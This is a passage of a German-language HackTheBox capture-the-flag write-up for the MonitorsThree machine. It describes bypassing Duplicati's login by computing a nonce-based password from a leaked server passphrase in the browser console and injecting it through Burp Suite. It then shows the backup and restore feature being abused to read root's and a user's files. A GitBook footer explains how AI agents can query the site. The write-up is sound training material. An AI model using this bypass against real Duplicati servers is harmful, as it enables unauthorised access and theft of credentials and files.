<figure><img src="/files/eb1345452dc93d810b26f6b6100874f5921039a3" alt=""><figcaption></figcaption></figure>

#### Dies ergab den folgenden Hexadezimalwert:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Berechnung des endgültigen Passworts

Um das endgültige Passwort zu erzeugen, wurden im Browser-Console die folgenden Schritte durchgeführt:

**Definition der gesalzenen Passphrase**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Abfangen der Anfrage mit Burp Suite

Wir fangen die Anfrage ab und senden sie an do intercept -> answer to this request und klicken dann auf Forward.

<figure><img src="/files/f2fd65f59e9343f913e57bfd0dc6778f9ab4e2db" alt=""><figcaption></figcaption></figure>

Eine HTTP-Anfrage wurde mit **Burp Suite** abgefangen und gab die folgenden Informationen preis:

<figure><img src="/files/853de1138efea2176fb1f58ae0c76c1e02800305" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

Das Feld `Salt` entspricht dem Wert `Server-Passphrase-Salz` aus der Datenbank extrahiert

**Nonce-Passwort-Berechnung:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Anzeige des Ergebnisses**:

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/e0322d9c31462ea05f239f811305414ef874d2c1" alt=""><figcaption></figcaption></figure>

Das erzeugte Passwort (`noncedpwd`) lautet:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Passwort-Injektion und Ausführung

1. Kopieren und fügen Sie das berechnete Passwort ein.
2. Verwenden Sie **Ctrl + U** um es per URL-Encoding zu kodieren.

<figure><img src="/files/fed01a82688684dc0b9aa484fe448d146a1ca9b7" alt=""><figcaption></figcaption></figure>

3. Klicken Sie **Weiterleiten** erneut, um den Vorgang abzuschließen.

### Duplicati-Backup-Dateien lesen

<figure><img src="/files/4eecade67258b293ead18f3c89e11d629b94aece" alt=""><figcaption></figcaption></figure>

Da wir nun Zugriff auf das **Duplicati-Administrationspanel**haben, erstellen wir ein neues Backup mit dem Ziel, den **SSH** Schlüssel zu exfiltrieren.

<figure><img src="/files/bb66f190fd5b187aa82730220dcb082c02fd7e7f" alt=""><figcaption></figcaption></figure>

**Analyse der Docker-Konfiguration**/ Durch die Betrachtung der `docker-compose.yml` Datei finden wir, dass die Dateien auf dem **Quelle** Verzeichnis des Hostsystems gespeichert sind, das im Container eingehängt ist.

<figure><img src="/files/877728e8dfe02f13e825b0cbe4b49e36ee188c26" alt="" width="541"><figcaption></figcaption></figure>

**Auswahl des Zielverzeichnisses**/ Um den Zugriff auf sensible Dateien sicherzustellen, setzen wir das Ziel des **backup** auf dieses Verzeichnis, indem wir Folgendes auswählen:

* **Quelldatei**: `/source/home/marcus/`

<figure><img src="/files/da0ba23a01fca4f3177c687d998d0bc7277ee49e" alt="" width="563"><figcaption></figcaption></figure>

* **Quelldaten:** `source/root/`

<figure><img src="/files/04c5c517c02873afdb96db0b0023819fcd1fed47" alt=""><figcaption></figcaption></figure>

**Abschluss der Konfiguration**

* Konfiguration speichern.

<figure><img src="/files/17d442438ec075c1a2daa2edc3bd94abb74ac4a8" alt=""><figcaption></figcaption></figure>

* Ausführen **Speichern** um gezielte Dateien wiederherzustellen.

<figure><img src="/files/019a1a91af63fbd3447b25db34663feeb2ca3c91" alt=""><figcaption></figcaption></figure>

### Gespeicherte Dateien extrahieren

Nach der Ausführung des **backup**werden drei ZIP-Archive erstellt.

<div data-full-width="true"><figure><img src="/files/f55ac40b88ecc090a1b77eebe88de8463ac37d87" alt=""><figcaption></figcaption></figure></div>

* **Zugriff auf Dateien**
  * Der direkte Versuch, Dateien zu öffnen, schlägt aufgrund von Zugriffsbeschränkungen fehl.
  * Jedoch über **Duplicati**, verwenden wir **Dateien wiederherstellen** die Option zur Wiederherstellung von Inhalten.

<figure><img src="/files/395b74fb76067971d7c606ba97b66f823341ed84" alt=""><figcaption></figcaption></figure>

**Wiederherstellen und exfiltrieren**

* Extrahiere Dateien aus dem Backup.

<figure><img src="/files/93eaea17aefb5a96463626ada860bc715927515e" alt=""><figcaption></figcaption></figure>

Auswahl des Ordners **`/source/home/marcus/`** als Wiederherstellungsquelle.

<figure><img src="/files/a612f7b86ebceb92e6c78ad541a364b489fa425a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/83f5442362229a3496464f84d265081361733e9e" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

Nach der Wiederherstellung durchsuchen wir die Dateien und entdecken **`root.txt`**!

<figure><img src="/files/655d2d7a963c57e7f455a5caab597798f8ffead9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/971b8dd3fb45c1d38e48c8fd6ee3642bc2215b67" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
